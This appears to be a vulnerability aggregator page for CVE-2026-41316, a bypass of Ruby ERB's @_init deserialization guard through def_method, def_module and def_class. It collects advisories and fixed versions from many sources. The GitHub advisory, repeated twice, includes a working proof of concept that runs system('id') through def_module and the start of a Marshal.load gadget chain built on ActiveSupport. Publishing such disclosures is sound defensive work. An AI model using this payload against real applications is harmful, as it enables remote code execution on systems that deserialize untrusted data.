CVE-2026-41316
ERB has an @_init deserialization guard bypass via def_module / def_method / def_class
ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.1
ERB has an @_init deserialization guard bypass via def_module / def_method / def_class
ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.
- Record
CVE-2026-41316- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-693, CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2026-25385
8.1
ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.
- Record
EUVD-2026-25385- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-q339-8rmv-2mhv
8.1
ERB has an @_init deserialization guard bypass via def_module / def_method / def_class
Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:
ERB#def_methodERB#def_moduleERB#def_class
An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.
<details>
The @_init Guard
In ERB#initialize, the guard is set:
# erb.rb line 838
@_init = self.class.singleton_class
In ERB#result and ERB#run, the guard is checked before eval(@src):
# erb.rb line 1008-1012
def result(b=new_toplevel)
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
eval(@src, b, (@filename || '(erb)'), @lineno)
end
When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.
The Bypass
ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:
# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1) # <-- no @_init check
end
end
# erb.rb line 1113-1117
def def_module(methodname='erb') # <-- zero-arg call possible
mod = Module.new
def_method(mod, methodname, @filename || '(ERB)')
mod
end
# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible
cls = Class.new(superklass)
def_method(cls, methodname, @filename || '(ERB)')
cls
end
def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.
Method wrapper breakout
def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:
# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
# def erb
# end
# system('id') <- executes at eval time
# def x
# end
Proof of Concept
Minimal (ERB only)
require 'erb'
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
# ERB#result correctly blocks this:
begin
erb.result
rescue ArgumentError => e
puts "result: #{e.message} (blocked by @_init -- correct)"
end
# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)
Marshal deserialization (ERB + ActiveSupport)
When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:
require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'
# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
class DeprecatedInstanceVariableProxy
def…
- Record
GHSA-q339-8rmv-2mhv- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-693
- Updated
- 2026-11-02
NVD
8.1
ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.
- Record
CVE-2026-41316- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-693, CWE-502
- Updated
- 2026-11-02
OSVALPINE-CVE-2026-41316
8.1
ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.
- Record
ALPINE-CVE-2026-41316- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVBELL-CVE-2026-41316
8.1
- Record
BELL-CVE-2026-41316- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 36 moreShow less
OSV
8.1
ERB has an @_init deserialization guard bypass via def_module / def_method / def_class
ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.
- Record
CVE-2026-41316- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-693
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-41316
8.1
ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.
- Record
DEBIAN-CVE-2026-41316- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-07
OSVGHSA-q339-8rmv-2mhv
8.1
ERB has an @_init deserialization guard bypass via def_module / def_method / def_class
Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:
ERB#def_methodERB#def_moduleERB#def_class
An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.
<details>
The @_init Guard
In ERB#initialize, the guard is set:
# erb.rb line 838
@_init = self.class.singleton_class
In ERB#result and ERB#run, the guard is checked before eval(@src):
# erb.rb line 1008-1012
def result(b=new_toplevel)
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
eval(@src, b, (@filename || '(erb)'), @lineno)
end
When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.
The Bypass
ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:
# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1) # <-- no @_init check
end
end
# erb.rb line 1113-1117
def def_module(methodname='erb') # <-- zero-arg call possible
mod = Module.new
def_method(mod, methodname, @filename || '(ERB)')
mod
end
# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible
cls = Class.new(superklass)
def_method(cls, methodname, @filename || '(ERB)')
cls
end
def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.
Method wrapper breakout
def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:
# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
# def erb
# end
# system('id') <- executes at eval time
# def x
# end
Proof of Concept
Minimal (ERB only)
require 'erb'
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
# ERB#result correctly blocks this:
begin
erb.result
rescue ArgumentError => e
puts "result: #{e.message} (blocked by @_init -- correct)"
end
# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)
Marshal deserialization (ERB + ActiveSupport)
When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:
require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'
# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
class DeprecatedInstanceVariableProxy
def…
- Record
GHSA-q339-8rmv-2mhv- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-693
- Updated
- 2026-11-02
OSVOESA-2026-2263
8.1
ruby security update
Ruby is a fast and easy interpreted scripting language for object-oriented programming. It has many functions for processing text Files and perform system management tasks (such as Perl).
Security Fix(es):
ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.(CVE-2026-41316)
- Record
OESA-2026-2263- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:18030
8.1
Red Hat Security Advisory: ruby:3.3 security update
- Record
RHSA-2026:18030- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:18039
8.1
Red Hat Security Advisory: ruby security update
- Record
RHSA-2026:18039- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:18065
8.1
Red Hat Security Advisory: ruby security update
- Record
RHSA-2026:18065- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:20596
9.1
Red Hat Security Advisory: ruby:4.0 security update
- Record
RHSA-2026:20596- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:20606
9.1
Red Hat Security Advisory: ruby4.0 security update
- Record
RHSA-2026:20606- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Updated
- 2026-11-02
OSVRHSA-2026:20614
8.1
Red Hat Security Advisory: ruby:3.3 security update
- Record
RHSA-2026:20614- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:20670
8.1
Red Hat Security Advisory: ruby security update
- Record
RHSA-2026:20670- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:26312
8.1
Red Hat Security Advisory: ruby security update
- Record
RHSA-2026:26312- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:26655
8.1
Red Hat Security Advisory: ruby:3.3 security update
- Record
RHSA-2026:26655- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:33462
8.1
Red Hat Security Advisory: ruby security update
- Record
RHSA-2026:33462- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:33478
8.1
Red Hat Security Advisory: ruby security update
- Record
RHSA-2026:33478- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:35834
8.1
Red Hat Security Advisory: ruby security update
- Record
RHSA-2026:35834- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:37238
8.1
Red Hat Security Advisory: ruby:3.3 security update
- Record
RHSA-2026:37238- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRLSA-2026:18030
8.1
Important: ruby:3.3 security update
Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.
Security Fix(es):
- erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:18030- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRLSA-2026:18039
8.1
Important: ruby security update
Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.
Security Fix(es):
- erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:18039- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRLSA-2026:18065
8.1
Important: ruby security update
Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.
Security Fix(es):
- erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:18065- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRLSA-2026:20596
9.1
Important: ruby:4.0 security update
Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.
Security Fix(es):
-
ruby/json: Ruby JSON: Denial of Service or Information Disclosure via format string injection (CVE-2026-33210)
-
erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:20596- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Updated
- 2026-11-02
OSVRLSA-2026:20606
9.1
Important: ruby4.0 security update
Ruby is the interpreted scripting language for quick and easy object-oriented programming. It has many features to process text files and to do system management tasks (as in Perl). It is simple, straight-forward, and extensible.
Security Fix(es):
-
ruby/json: Ruby JSON: Denial of Service or Information Disclosure via format string injection (CVE-2026-33210)
-
erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:20606- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - Updated
- 2026-11-02
OSVRLSA-2026:20614
8.1
Important: ruby:3.3 security update
Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.
Security Fix(es):
- erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:20614- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVROOT-APP-RUBY-CVE-2026-41316
8.1
CVE-2026-41316 in erb - Patched by Root
Root has patched CVE-2026-41316 in the erb package for Root:Ruby. Multiple fixed versions available.
- Record
ROOT-APP-RUBY-CVE-2026-41316- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-41316
8.1
ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard: ERB#def_method, ERB#def_module, and ERB#def_class. An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.
- Record
UBUNTU-CVE-2026-41316- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-06
OSVALSA-2026:18030 No score
Important: ruby:3.3 security update
Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.
Security Fix(es):
- erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:18030- Updated
- 2026-11-02
OSVALSA-2026:18039 No score
Important: ruby security update
Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.
Security Fix(es):
- erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:18039- Updated
- 2026-11-02
OSVALSA-2026:18065 No score
Important: ruby security update
Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.
Security Fix(es):
- erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:18065- Updated
- 2026-11-02
OSVALSA-2026:20596 No score
Important: ruby:4.0 security update
Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.
Security Fix(es):
- ruby/json: Ruby JSON: Denial of Service or Information Disclosure via format string injection (CVE-2026-33210)
- erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:20596- Updated
- 2026-11-02
OSVALSA-2026:20606 No score
Important: ruby4.0 security update
Ruby is the interpreted scripting language for quick and easy object-oriented programming. It has many features to process text files and to do system management tasks (as in Perl). It is simple, straight-forward, and extensible.
Security Fix(es):
- ruby/json: Ruby JSON: Denial of Service or Information Disclosure via format string injection (CVE-2026-33210)
- erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:20606- Updated
- 2026-11-02
OSVALSA-2026:20614 No score
Important: ruby:3.3 security update
Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.
Security Fix(es):
- erb: ERB: Arbitrary code execution via deserialization bypass (CVE-2026-41316)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:20614- Updated
- 2026-11-02
OSVCLSA-2026-1779745996 No score
ruby: Fix of CVE-2026-41316
- CVE-2026-41316: prohibit ERB#def_method on marshal-loaded ERB instances by extending the @_init singleton-class guard to def_method (and transitively def_module/def_class), preventing RCE via Marshal.load gadgets
- Record
CLSA-2026-1779745996- Updated
- 2026-11-02
OSVCLSA-2026-1781100836 No score
ruby: Fix of CVE-2026-41316
- CVE-2026-41316: fix ERB Marshal.load RCE via def_method/def_module/def_class bypassing @_init guard
- Record
CLSA-2026-1781100836- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10609-1 No score
libruby4_0-4_0-4.0.3-1.1 on GA media
These are all security issues fixed in the libruby4_0-4_0-4.0.3-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10609-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21878-1 No score
Security update for ruby3.4
This update for ruby3.4 fixes the following issues:
- CVE-2025-58767: denial of service when parsing XML containing multiple XML declarations (bsc#1250016).
- CVE-2026-27820: insufficient checks in
zstream_buffer_ungetscan lead to a buffer overflow (bsc#1259239). - CVE-2026-41316: erb: @_init deserialization guard bypass via def_module / def_method / def_class (bsc#1262441).
- CVE-2026-42258: ruby: Net:IMAP: IMAP Command Injection via Symbol Arguments (bsc#1268011).
- CVE-2026-47240: Net:IMAP: Command Injection via non-synchronizing literal in "raw" argument (bsc#1268337).
- CVE-2026-47241: Net:IMAP: Denial of Service via incomplete raw argument validation (bsc#1268338).
- CVE-2026-47242: Net:IMAP: Command Injection via ID and ENABLE command arguments (bsc#1268339).
- CVE-2025-61594: rubygem-uri: URI concatenation with the plus operator can cause credential disclosure (bsc#1255833).
Changes for ruby3.4:
-
Update to 3.4.10.
-
Update to 3.4.9:
-
Bug #21715: Miscompilation on x86-64-v2 due to undefined behavior in search_nonascii in string.c - Ruby - Ruby Issue Tracking System
-
Bug #21787: IO::Buffer Integer Overflow in Range Validation Leads to Out-of-Bounds Memory Access - Ruby - Ruby Issue
-
Bug #21757: Splatted args array is mutated when passing unexpected kwargs - Ruby - Ruby Issue Tracking System
-
Bug #21326: Instruction generation differences between parse.y and prism for def a(x, ...); b(...); end - Ruby - Ruby Issue
-
Bug #21814: 0.pow(2,-9999999999999999990) should be zero - Ruby
-
Ruby Issue Tracking System
-
Bug #21819: A Data object should be frozen even if it has no members - Ruby - Ruby Issue Tracking System
-
Bug #21811: Fix underflow in Array#pack - Ruby - Ruby Issue
-
Bug #21838: Rails seeing degradation (20% slowdown) related to Revision 079ef92b "Implement global allocatable slots and empty pages" (from Sep 5 2024) - Ruby - Ruby Issue Tracking System
-
Bug #21931: GC Crash in String#% (backport 726205b354d1068147719fb42e1de743f1838ef1) - Ruby - Ruby Issue
-
Bug #21860: Process.fork: the child may deadlock on th->interrupt_lock in threadptr_interrupt_exec_cleanup - Ruby - Ruby Issue Tracking System
-
Bug #21873: UnboundMethod#== returns false for methods from included/extended modules - Ruby - Ruby Issue Tracking System
-
Update to 3.4.8:
- Bug #21629: Ruby-3.4.7 prints -Wdefault-const-init-field-unsafe warnings on clang / llvm 21 - Ruby - Ruby Issue Tracking System
-
Bug #21626: Backport WASI setjmp handler memory leak fixes - Ruby - Ruby Issue Tracking System
-
Bug #21631: Backport openssl gem bugfix releases - Ruby - Ruby Issue Tracking System
-
Bug #21632: Backport REXML CVE-2025-58767 fix (bsc#1250016) -
-
Bug #21644: Stack consistency error for the newrange INSN peephole optimization with chilled string - Ruby - Ruby Issue
-
Bug #21668: Improve performance of UnicodeNormalize.canonical_ordering_one - Ruby - Ruby Issue
-
Bug #21638: Ractor-local $DEBUG is not marked - Ruby - Ruby
-
Bug #21652: Marshal#dump documentation out-of-date/unclear regarding Data class - Ruby - Ruby Issue Tracking System
-
Bug #13671: Regexp with lookbehind and case-insensitivity raises RegexpError only on strings with certain characters -
-
Bug #21625: Allow IO#wait_readable together with IO#ungetc even in text mode - Ruby - Ruby Issue Tracking System
-
Bug #21671: Rails CI raises Assertion Failed: rbimpl_rstring_getmem:RB_TYPE_P(str, RUBY_T_STRING): actual type: 26 with "-DENABLE_PATH_CHECK=0 -DRUBY_DEBUG=1" enabled -
-
Update next stable version to 4.0 from 3.5 by hsbt . Pull Request #15146
-
Bug #21679: Segfault when ruby calls pthread_detach in rb_getnameinfo - Ruby - Ruby Issue Tracking System
-
Bug #21694: Crash when looking up super method from BasicObject
-
Ruby - Ruby Issue Tracking System
-
Bug #21707: Destructuring assignment of SimpleDelegator wrapped array bug with YJIT - Ruby - Ruby Issue Tracking System
-
Bug #21265: Crash when proc from…
- Record
openSUSE-SU-2026:21878-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:3556-1 No score
Security update for ruby2.5
This update for ruby2.5 fixes the following issue
- CVE-2026-41316: erb: @_init deserialization guard bypass via def_module / def_method / def_class (bsc#1262441).
- Record
SUSE-SU-2026:3556-1- Updated
- 2026-11-02
Affected products
- ruby erb
- red hat enterprise linux 10
- red hat enterprise linux 10.0 extended update support
- red hat enterprise linux 6
- red hat enterprise linux 7
- red hat enterprise linux 8
- red hat enterprise linux 9
- red hat enterprise linux 9.0 update services for sap solutions
- red hat enterprise linux 9.2 update services for sap solutions
- red hat enterprise linux 9.4 update services for sap solutions
- red hat enterprise linux 9.6 extended update support
- red hat hardened images
Show 1 moreShow less
Affected packages
| Package | Affected | Fixed |
|---|---|---|
erbRubyGems |
before 4.0.3.1 | 4.0.3.1 |
erbRubyGems |
4.0.4 to 4.0.4 | 4.0.4.1 |
erbRubyGems |
5.0.0 up to 6.0.1.1 | 6.0.1.1 |
erbRubyGems |
6.0.2 up to 6.0.4 | 6.0.4 |
